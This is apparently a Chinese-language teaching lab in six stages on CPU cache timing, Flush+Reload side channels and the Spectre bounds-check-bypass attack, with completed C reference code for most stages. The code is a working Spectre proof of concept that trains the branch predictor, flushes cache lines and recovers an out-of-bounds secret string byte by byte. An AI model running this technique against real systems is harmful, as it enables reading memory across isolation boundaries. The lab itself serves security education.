Spectre侧信道攻击过程验证
第1關(guān):Cache vs Memory
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- CPU高速緩存
- 緩存命中
- 緩存驅(qū)逐
- 代碼執(zhí)行時(shí)間精確測(cè)量
- 緩存行Cache Line
- 編程要求
- 測(cè)試說明
- 提示
任務(wù)描述
完善任務(wù)代碼,測(cè)量并記錄CPU訪問數(shù)據(jù)時(shí),發(fā)生緩存命中與緩存不命中時(shí)的數(shù)據(jù)訪問時(shí)間,并通過重復(fù)測(cè)量確保結(jié)果準(zhǔn)確。
相關(guān)知識(shí)
為了完成本關(guān)及后續(xù)關(guān)卡的任務(wù),需要掌握以下相關(guān)知識(shí)。
CPU高速緩存
CPU高速緩存機(jī)制的引入,主要是為了解決CPU越來越快的運(yùn)行速度與相對(duì)較慢的主存訪問速度的矛盾。經(jīng)典的CPU的存儲(chǔ)器結(jié)構(gòu)為金字塔型,如下圖所示: 通常,CPU訪問寄存器中的數(shù)據(jù),只需要一個(gè)時(shí)鐘周期;訪問高速緩存中的數(shù)據(jù),大概需要幾十個(gè)時(shí)鐘周期;如果訪問的數(shù)據(jù)在主存中,需要大概上百個(gè)周期;而訪問磁盤中的數(shù)據(jù)則需要大約幾千萬個(gè)周期。
備注:在本任務(wù)中,我們對(duì)三級(jí)緩存不做區(qū)分,統(tǒng)稱為Cache或高速緩存。
緩存命中
當(dāng)CPU需要訪問數(shù)據(jù)時(shí),會(huì)從存儲(chǔ)器金字塔的塔尖處開始檢查數(shù)據(jù),首先在高速緩存中檢查數(shù)據(jù)是否存在,如果發(fā)現(xiàn)目標(biāo)數(shù)據(jù)已經(jīng)加載到高速緩存中,則直接從高速緩存中讀數(shù)據(jù)寫入寄存器中。該過程稱為“緩存命中(Cache Hit)”,且通常占用較少的時(shí)鐘周期。反之,如果數(shù)據(jù)不在高速緩存中,則CPU從內(nèi)存中加載數(shù)據(jù)到高速緩存,再?gòu)母咚倬彺鎸?shù)據(jù)加載到寄存器,參與后續(xù)運(yùn)算,該過程稱為“緩存不命中(Cache Miss)”,通常占用較多的時(shí)鐘周期。
緩存驅(qū)逐
由于CPU高速緩存大小有限,當(dāng)緩存已滿,而又需要從內(nèi)存中加載新的數(shù)據(jù)時(shí),CPU會(huì)按照一定的策略將某些緩存行(Cache Line)從高速緩存中移除,該過程稱為緩存驅(qū)逐(FLUSH)。在本實(shí)驗(yàn)中,為了達(dá)到測(cè)量時(shí)間差的目的,需要人工調(diào)用函數(shù)_mm_clflush()強(qiáng)制驅(qū)逐緩存,代碼如下:
代碼執(zhí)行時(shí)間精確測(cè)量
rdtsc/rdtscp 是 x86 CPU 的指令,含義是 read TSC(Time Stamp Counter) 寄存器,而TSC 寄存器在每個(gè) CPU 時(shí)鐘信號(hào)到來時(shí)加 1。由于TSC寄存器中的數(shù)值遞增速度和 CPU 的主頻相關(guān),且服務(wù)器的CPU主頻一般很高(通常再GHz以上),所以利用該指令,我們可以獲得納秒級(jí)別的時(shí)間精度。
考慮到CPU在執(zhí)行指令時(shí)存在亂序執(zhí)行的情況,為了保證測(cè)量精讀,我們選用rdtscp指令(而非tdtsc指令),進(jìn)行時(shí)間測(cè)量。
緩存行Cache Line
高速緩執(zhí)行數(shù)據(jù)的存儲(chǔ)時(shí)候,以行為單位進(jìn)行對(duì)齊,即每次緩存加載或緩存驅(qū)逐時(shí),均加載或驅(qū)逐整數(shù)倍的Cache Line大小數(shù)據(jù)(與CPU架構(gòu)相關(guān),通常為64字節(jié))。 因此,本任務(wù)所有關(guān)卡中,為了避免相鄰地址的數(shù)據(jù)加載時(shí)發(fā)生干擾,我們選擇遠(yuǎn)大于Cache Line的偏移量4096將測(cè)量對(duì)象對(duì)齊。
編程要求
根據(jù)提示,在右側(cè)編輯器完善代碼,完成數(shù)據(jù)初始化、緩存驅(qū)逐、緩存加載、時(shí)延測(cè)定等全部環(huán)節(jié),輸出對(duì)array[10*4096]數(shù)組中各元素的訪問時(shí)延。
測(cè)試說明
平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試:
自測(cè)預(yù)期輸出:
提示
代碼完成后,可以點(diǎn)擊“自測(cè)運(yùn)行按鈕”,查看程序運(yùn)行結(jié)果。 點(diǎn)擊“測(cè)評(píng)”即可自動(dòng)判定是否通關(guān)。 請(qǐng)記錄下緩存命中時(shí)的時(shí)延大小,后續(xù)關(guān)卡將使用該值作為判定門限。
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>uint8_t array[10*4096]; FILE *fp; int cache_timer() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;unsigned int ui;int i;// 初始化該數(shù)組for(i=0; i<10; i++) array[i*4096]=1;// 補(bǔ)全下方代碼,完成array[0*4096]至array[9*4096]數(shù)據(jù)的緩存驅(qū)逐/**************************************************/for(i=0; i<10; i++) _mm_clflush(&array[i*4096] );/**************************************************/// 訪問數(shù)組部分元素,使其存儲(chǔ)到Cache(學(xué)生選取部分元素進(jìn)行訪問,注意不要訪問第一個(gè)元素,沒有意義)array[3*4096] = 100;array[7*4096] = 200; /*******請(qǐng)勿修改下方代碼,否則可能導(dǎo)致測(cè)評(píng)無法通過******/for(i=0; i<10; i++) {addr = &array[i*4096];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; printf("訪問array[%d*4096]消耗: %d CPU周期\n",i, (int)time2);fprintf(fp,"%d,",(int)time2);} /**************************************************/return 0; }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T1/result.txt","w");fprintf(fp,"數(shù)組各元素訪問時(shí)延(重復(fù)10次)測(cè)量結(jié)果:\n");int round=0;for(round=0;round<10;round++){printf("Round %d ---------------------------\n",round);cache_timer();printf("------------------------------------\n");}fclose(fp);return 0; }第2關(guān):基于Flush+Reload的側(cè)信道實(shí)現(xiàn)
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- FLUSH+RELOAD技術(shù)
- 實(shí)驗(yàn)設(shè)定
- 編程要求
- 測(cè)試說明
實(shí)驗(yàn)?zāi)康?/h3>
通過實(shí)驗(yàn),幫助學(xué)員掌握利用高速緩存FLUSH+RELOAD技術(shù)實(shí)施側(cè)信道攻擊的基本過程。
任務(wù)描述
在上一關(guān)的基礎(chǔ)上,完善任務(wù)代碼,首先設(shè)定將某次數(shù)據(jù)訪問判定為“緩存命中”的門限值,進(jìn)一步對(duì)某內(nèi)存數(shù)據(jù)(Secret值)實(shí)施側(cè)信道攻擊,實(shí)現(xiàn)在不直接訪問數(shù)據(jù)的條件下,借助訪問時(shí)延判定該數(shù)據(jù)的具體內(nèi)容。
相關(guān)知識(shí)
FLUSH+RELOAD技術(shù)
Flush+Reload(FR)方法是prime-probe方法的變種,基于共享內(nèi)存實(shí)現(xiàn),是一種跨內(nèi)核、跨虛擬機(jī)的Cache探測(cè)方法。
在Flush 階段,攻擊者將監(jiān)控的內(nèi)存塊從cache中驅(qū)逐出去,然后在Trigger階段等待目標(biāo)代碼/進(jìn)程/用戶/虛擬機(jī)訪問共享內(nèi)存(即將相應(yīng)數(shù)據(jù)加載到共享內(nèi)存中)。在Reload階段,攻擊者重新加載監(jiān)控的共享內(nèi)存塊。
如果在等待的期間,目標(biāo)代碼/進(jìn)程/用戶/虛擬機(jī)已經(jīng)訪問過某些內(nèi)存塊,則Reload期間會(huì)觸發(fā)緩存命中,時(shí)間較短,否則時(shí)間較長(zhǎng)。根據(jù)reload階段內(nèi)存數(shù)據(jù)訪問的時(shí)間長(zhǎng)短,可獲取目標(biāo)內(nèi)存塊中的共享信息。
實(shí)驗(yàn)設(shè)定
具體在本實(shí)驗(yàn)中,假設(shè)待獲取的目標(biāo)內(nèi)存數(shù)據(jù)為“secret=66”,首先調(diào)用flushSideChannel()函數(shù),將所有數(shù)據(jù)從緩存中驅(qū)逐(_mm_clflush()),通過執(zhí)行victim()函數(shù)用來假設(shè)執(zhí)行目標(biāo)對(duì)敏感數(shù)據(jù)的訪問,最后在reloadSideChannel()函數(shù)中完成訪問時(shí)延的測(cè)量與敏感信息的獲取。
編程要求
根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成基于Flush+Reload的側(cè)信道攻擊實(shí)現(xiàn),按要求打印攻擊結(jié)果。
測(cè)試說明
平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。 部分代碼參考關(guān)卡1。
開始你的任務(wù)吧,祝你成功!
//該實(shí)驗(yàn)中,假設(shè)用戶沒有Secret的訪問權(quán)限,不能直接讀取Secret的值,可以通過測(cè)時(shí)延來獲取其內(nèi)容。#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>FILE *fp; uint8_t array[256*4096]; int temp; unsigned char secret = 66;/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)上一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024void victim() {temp = array[secret*4096 + DELTA]; }void flushSideChannel() {int i;// 初始化該數(shù)組,防止Copy-on-Write導(dǎo)致實(shí)驗(yàn)失敗for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存Cache,請(qǐng)?jiān)谙路窖a(bǔ)充代碼,將array[0*4096+DELTA]至array[255*4096+DELTA]等數(shù)據(jù)從緩存中強(qiáng)制驅(qū)逐/**************************************/for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096+DELTA]);/**************************************/ }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;unsigned int ui;//請(qǐng)補(bǔ)全并下方代碼,獲得i*4096 + DELTA位置元素的訪問時(shí)延,并將小于門限的訪問行為判定為緩存命中,按照指定格式輸出結(jié)果。for(i = 0; i < 256; i++){ addr = &array[i*4096+DELTA];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)發(fā)生緩存命中,時(shí)延%d.\n", i, DELTA, (int)time2);printf("秘密值Secret = %d(字符:\'%c\')。\n", i, i);fprintf(fp,"秘密值Secret = %d(字符:\'%c\')。\n" ,i, i); //不要修改本行代碼}} }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T2/result.txt","w");flushSideChannel();victim();reloadSideChannel();fclose(fp);return (0); }第3關(guān):Spectre預(yù)測(cè)執(zhí)行
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- Spectre漏洞
- 預(yù)測(cè)執(zhí)行
- 預(yù)測(cè)執(zhí)行的前提
- 編程要求
- 測(cè)試說明
實(shí)驗(yàn)?zāi)康?/h3>
通過實(shí)驗(yàn),使學(xué)生建立對(duì)Spectre這一CPU層面的漏洞的直觀認(rèn)識(shí),理解并掌握如何利用預(yù)測(cè)執(zhí)行對(duì)目標(biāo)數(shù)據(jù)執(zhí)行非法訪問,為后續(xù)關(guān)卡任務(wù)做準(zhǔn)備。
任務(wù)描述
在前面關(guān)卡的基礎(chǔ)上,完善和補(bǔ)全代碼,測(cè)試Spectre幽靈漏洞能夠?qū)崿F(xiàn)的攻擊效果,即能夠訪問到代碼約束范圍以外的數(shù)據(jù)。
相關(guān)知識(shí)
Spectre漏洞
Spectre漏洞是一個(gè)存在于處理器中的,由于預(yù)測(cè)執(zhí)行優(yōu)化涉及而引入的一種設(shè)計(jì)缺陷和安全漏洞。基本所有含有預(yù)測(cè)執(zhí)行的現(xiàn)代處理器均受此漏洞的影響。
針對(duì)該漏洞的利用通常采用基于時(shí)間的側(cè)信道攻擊,允許惡意進(jìn)程獲得合法內(nèi)存以外(如其他程序的內(nèi)存、甚至其他容器的內(nèi)存)的數(shù)據(jù)。
預(yù)測(cè)執(zhí)行
在計(jì)算機(jī)的組成結(jié)構(gòu)中,內(nèi)存讀取的速度相比于CPU來看是很慢的,當(dāng)CPU在運(yùn)行過程中需要讀取內(nèi)存的時(shí)候,為了提高執(zhí)行效率,CPU會(huì)“搶跑”。如下圖所示: 當(dāng)CPU需要從內(nèi)存中取數(shù)據(jù)MEM時(shí),同時(shí)執(zhí)行MEM讀取指令以及instructionA,即對(duì)分支進(jìn)行了“預(yù)測(cè)執(zhí)行”。當(dāng)MEM數(shù)據(jù)讀取返回并判斷后,如果發(fā)現(xiàn)預(yù)測(cè)錯(cuò)誤,則中斷預(yù)測(cè)執(zhí)行,并回滾計(jì)算狀態(tài)(即寄存器等);否則繼續(xù)執(zhí)行后續(xù)指令。 然而,CPU在執(zhí)行預(yù)測(cè)執(zhí)行的回滾操作時(shí),僅回滾了寄存器而高速緩存并沒有被清空,從而為惡意代碼可能訪問到邊界外的數(shù)據(jù)提供了可能。
預(yù)測(cè)執(zhí)行的前提
CPU在進(jìn)行預(yù)測(cè)執(zhí)行操作時(shí),會(huì)根據(jù)此前判斷條件的結(jié)果進(jìn)行分支預(yù)測(cè)。因此,實(shí)施Spectre攻擊的重要環(huán)節(jié)是需要對(duì)CPU的分支判斷進(jìn)行“訓(xùn)練”,即本任務(wù)中需要使用合法參數(shù)多次調(diào)用victim()函數(shù),使CPU“記住”判斷狀態(tài)。
編程要求
根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成對(duì)CPU分支預(yù)測(cè)的訓(xùn)練、邊界外數(shù)據(jù)(即索引大于size的數(shù)組元素)向高速緩存的加載,并利用FLUSH+RELOAD側(cè)信道來驗(yàn)證目標(biāo)數(shù)據(jù)是否已加載。
考慮到利用Sepctre漏洞時(shí),因?yàn)橄到y(tǒng)噪聲(即其他系統(tǒng)進(jìn)程對(duì)CPU的占用、對(duì)緩存的占用等)的影響,某些時(shí)候分支的預(yù)測(cè)不會(huì)按照我們的期望執(zhí)行,因此,本任務(wù)中將重復(fù)10次實(shí)驗(yàn),查看緩存命中結(jié)果。
測(cè)試說明
平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;int size = 10; uint8_t array[256*4096]; uint8_t temp = 0;void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) {array[i*4096 + DELTA] = 1;}// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)命中緩存,時(shí)延%d.\n", i, DELTA,(int)time2);fprintf(fp,"訪問array[%d*4096 + %d]元素時(shí)命中緩存,時(shí)延%d.\n", i, DELTA,(int)time2);}} }void victim(size_t x) {if (x < size) { temp = array[x * 4096 + DELTA]; } }int main() {fp=fopen("Spectre-Attack/ans/T3/result.txt","w");int i;// 初始化側(cè)信道攻擊條件flushSideChannel();//使用while循環(huán),重復(fù)10次執(zhí)行實(shí)驗(yàn)int loop = 10;while(--loop >= 0){printf("第%d次實(shí)驗(yàn)----\n", 10-loop);fprintf(fp,"第%d次實(shí)驗(yàn)----\n", 10-loop);// 訓(xùn)練CPU,使其預(yù)測(cè)時(shí)進(jìn)入期望分支for (i = 0; i < 10; i++) { victim(i);}// 請(qǐng)補(bǔ)全下方代碼并取消注釋,①將victim()函數(shù)中分支判斷需要的數(shù)據(jù)'size'從緩存中驅(qū)逐,以在后續(xù)調(diào)用中觸發(fā)預(yù)測(cè)執(zhí)行;②將array數(shù)組中i*4096+DELTA處的數(shù)據(jù)從緩存中驅(qū)逐,以便后續(xù)reload階段判斷目標(biāo)數(shù)據(jù)是否被加載。_mm_clflush(&size);for (i = 0; i < 256; i++)_mm_clflush(&array[i*4096+DELTA]); //嘗試訪問邊界外的數(shù)據(jù)victim(97); // reload數(shù)據(jù),開展側(cè)信道攻擊,查看是否已經(jīng)將數(shù)據(jù)裝入緩存reloadSideChannel();usleep(100);}fclose(fp);return (0); }第4關(guān):Spectre攻擊簡(jiǎn)單實(shí)驗(yàn)(代碼補(bǔ)全后,多次執(zhí)行"自測(cè)運(yùn)行",查看運(yùn)行結(jié)果,看看有什么發(fā)現(xiàn)。)
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- 沙箱SandBox
- 代碼中的關(guān)鍵數(shù)據(jù)解釋
- 編程要求
- 建議
- 測(cè)試說明
實(shí)驗(yàn)?zāi)康?/h3>
通過實(shí)驗(yàn),使學(xué)生掌握利用高速緩存?zhèn)刃诺篮虲PU的Spectre漏洞,突破代碼的邊界檢查,實(shí)現(xiàn)對(duì)目標(biāo)內(nèi)存中的數(shù)據(jù)有效訪問。
任務(wù)描述
在前期關(guān)卡知識(shí)點(diǎn)已掌握的基礎(chǔ)上,完善和補(bǔ)全代碼,依賴合法內(nèi)存訪問函數(shù)uint8_t restrictedAccess(size_t x),通過利用CPU的預(yù)測(cè)執(zhí)行機(jī)制和高速緩存?zhèn)刃诺?#xff0c;實(shí)現(xiàn)對(duì)約束范圍外的數(shù)據(jù)secret="Some Secret Value"訪問和提取,并打印提取結(jié)果。
相關(guān)知識(shí)
沙箱SandBox
沙箱技術(shù)是應(yīng)用開發(fā)中常用的一種安全技術(shù),用于隔離對(duì)象/線程/進(jìn)程等對(duì)資源的訪問。 例如操作系統(tǒng)層面的沙箱的含義就是操作系統(tǒng)對(duì)進(jìn)程的可訪問的內(nèi)存地址所做的限制,限制進(jìn)程可訪問的內(nèi)存在其被分配的內(nèi)存地址區(qū)間內(nèi),而不允許操作其他的內(nèi)存地址,從而提供安全層面的防護(hù)。 而在瀏覽器環(huán)境下,沙箱的本質(zhì)原理相同,只是隔離的對(duì)象為不同的頁面、腳本等所使用的內(nèi)存,防止其訪問到其他非同源的頁面數(shù)據(jù)或通信數(shù)據(jù)。
在本實(shí)驗(yàn)中,我們使用uint8_t restrictedAccess(size_t x)函數(shù)來實(shí)現(xiàn)一個(gè)極簡(jiǎn)沙箱,限制進(jìn)程能夠訪問的內(nèi)存地址為buffer[0]-buffer[9]。
代碼中的關(guān)鍵數(shù)據(jù)解釋
編程要求
根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成CPU分支預(yù)測(cè)的訓(xùn)練、邊界外內(nèi)存數(shù)據(jù)的緩存加載,并利用高速緩存?zhèn)刃诺捞崛∧繕?biāo)地址的敏感信息值。
建議
代碼補(bǔ)全后,多次執(zhí)行"自測(cè)運(yùn)行",查看運(yùn)行結(jié)果,看看有什么發(fā)現(xiàn)。
測(cè)試說明
平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。
測(cè)試輸入:無 預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱示意,用來約束訪問邊界 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)命中緩存.\n", i, DELTA);printf("秘密值 = %c(ASCII碼:%d).\n",(i > 31 && i < 127 ? i : '?'), i);fprintf(fp,"%c,",(i > 31 && i < 127 ? i : '?'));}} }void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) { restrictedAccess(i); }// 補(bǔ)全下方代碼,將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。/***********************************************************/_mm_clflush(&buffer[bound_upper]);_mm_clflush(&buffer[bound_lower]);for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);/***********************************************************/for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond); if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T4/result.txt","w");flushSideChannel();size_t index_beyond = (size_t)(secret - (char*)buffer); printf("秘密值內(nèi)存地址: %p \n", secret);printf("合法訪問內(nèi)存地址: %p \n", buffer);printf("秘密值地址相對(duì)與合法訪問內(nèi)存地址偏移量(邊界之外): %ld \n", index_beyond);for(int k=0;k<strlen(secret);k++){spectreAttack(index_beyond+k);reloadSideChannel();usleep(10);}fclose(fp);return (0); }第5關(guān):Spectre攻擊實(shí)驗(yàn)改進(jìn)
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- 優(yōu)化方法
- 編程要求
- 測(cè)試說明
實(shí)驗(yàn)?zāi)康?/h3>
掌握在噪聲情況下,如何利用側(cè)信道和Spectre漏洞實(shí)現(xiàn)高準(zhǔn)確率的敏感信息提取。
任務(wù)描述
經(jīng)過上一關(guān)的試驗(yàn)結(jié)果觀察發(fā)現(xiàn),由于CPU執(zhí)行其他任務(wù)、緩存命中時(shí)延的門限設(shè)置不夠準(zhǔn)確等噪聲影響,常常導(dǎo)致無法準(zhǔn)確的將訪問到的敏感信息恢復(fù)和提取出來。因此,本關(guān)中對(duì)上一關(guān)代碼進(jìn)行優(yōu)化改進(jìn),通過多次重復(fù)實(shí)驗(yàn),統(tǒng)計(jì)各字符在緩存中的命中次數(shù)(即:積分),進(jìn)一步的根據(jù)不同位置的積分值,獲得敏感信息的準(zhǔn)確值。
相關(guān)知識(shí)
見前面幾關(guān)的相關(guān)知識(shí)一節(jié)。
優(yōu)化方法
在敏感字符的恢復(fù)提取環(huán)節(jié),除了使用array[256*4096]字典數(shù)組之外,還使用一個(gè)積分?jǐn)?shù)組static int scores[256]。在攻擊過程中,每次利用側(cè)信道探測(cè)到某內(nèi)存的字符X(其十進(jìn)制表示為k),則將score[k]的值加1。針對(duì)每個(gè)字符的側(cè)信道攻擊結(jié)束后,統(tǒng)計(jì)整個(gè)score[]數(shù)組中的積分值,選擇積分最高的作為概率最高的敏感字符。
編程要求
根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成準(zhǔn)確的敏感字符提取(本關(guān)僅要求恢復(fù)處secret的第一個(gè)字符)。
測(cè)試說明
平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; uint8_t temp = 0; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱訪問函數(shù)示意 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }// 針對(duì)每個(gè)可能的敏感字符設(shè)置積分?jǐn)?shù)組 static int scores[256]; void reloadSideChannelImproved() {int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;//補(bǔ)全下方代碼,當(dāng)每次字符i被命中一次,對(duì)應(yīng)的積分+1/*************************************/for (i = 0; i < 256; i++) {addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD)scores[i]++;}/*************************************/}void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {restrictedAccess(i); }// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }//// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond);if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T5/result.txt","w");int i;uint8_t s;size_t index_beyond = (size_t)(secret - (char*)buffer);flushSideChannel();for(i=0;i<256; i++) scores[i]=0; //重復(fù)執(zhí)行1000次SpectreAttack和reloadSideChannelImproved函數(shù)for (i = 0; i < 1000; i++) {spectreAttack(index_beyond);usleep(10);reloadSideChannelImproved();}int max = 0;// 補(bǔ)全下方代碼,從scores數(shù)組中找到最大值,并將其索引值賦值給max/*************************************/for (i = 0; i < 256; i++) {if(max<scores[i])max=scores[i];}for (i = 0; i < 256; i++) {if(max==scores[i]){ max=i;break;}}/*************************************/printf("秘密值 \'%c\' (ASCII: %d),積分值:%d.\n", max, max, scores[max]);fprintf(fp,"%c|%d",(max > 31 && max < 127 ? max : '?'), scores[max]);fclose(fp);return (0); }第6關(guān):Spectre攻擊竊取敏感信息實(shí)戰(zhàn)
- 任務(wù)要求
- 參考答案
- 評(píng)論
- 關(guān)卡排行榜
- 實(shí)驗(yàn)?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識(shí)
- 編程要求
- 測(cè)試說明
實(shí)驗(yàn)?zāi)康?/h3>
基于前面關(guān)卡所掌握的知識(shí)和技術(shù),進(jìn)行內(nèi)存中敏感信息的竊取實(shí)戰(zhàn),加深對(duì)Spectre幽靈攻擊全流程的認(rèn)識(shí),同時(shí)強(qiáng)化實(shí)踐動(dòng)手能力。
任務(wù)描述
本關(guān)任務(wù)中,基本設(shè)計(jì)與前一關(guān)卡類似,區(qū)別在于使用了靜態(tài)鏈接庫(kù),將敏感信息編譯在了該庫(kù)中,該庫(kù)中所包含的部分變量如下圖所示: 同時(shí),該庫(kù)提供了如下函數(shù),供學(xué)員代碼調(diào)用。
get_info_sand_box沙箱示意函數(shù)與前關(guān)卡uint8_t restrictedAccess(size_t x)函數(shù)相同,其代碼如下圖:
利用前面關(guān)卡所掌握的知識(shí),完善和補(bǔ)全右側(cè)代碼,利用高速緩存?zhèn)刃诺篮蚐pectre預(yù)測(cè)執(zhí)行漏洞,實(shí)現(xiàn)對(duì)敏感信息secret的準(zhǔn)確恢復(fù)。
相關(guān)知識(shí)
見前面1-4關(guān)的相關(guān)知識(shí)一節(jié)。
編程要求
根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完善各函數(shù)代碼,最終輸出指定格式的敏感信息竊取結(jié)果。
測(cè)試說明
運(yùn)行自測(cè),查看代碼運(yùn)行結(jié)果,并最終將竊取到的敏感信息完整內(nèi)容寫入/home/目錄下的result.txt文件??梢允褂胒printf(fp,"%c",(max > 31 && max < 127 ? max : '?'))函數(shù)輸出到該文件,也可以使用vim工具將內(nèi)容寫入文件。
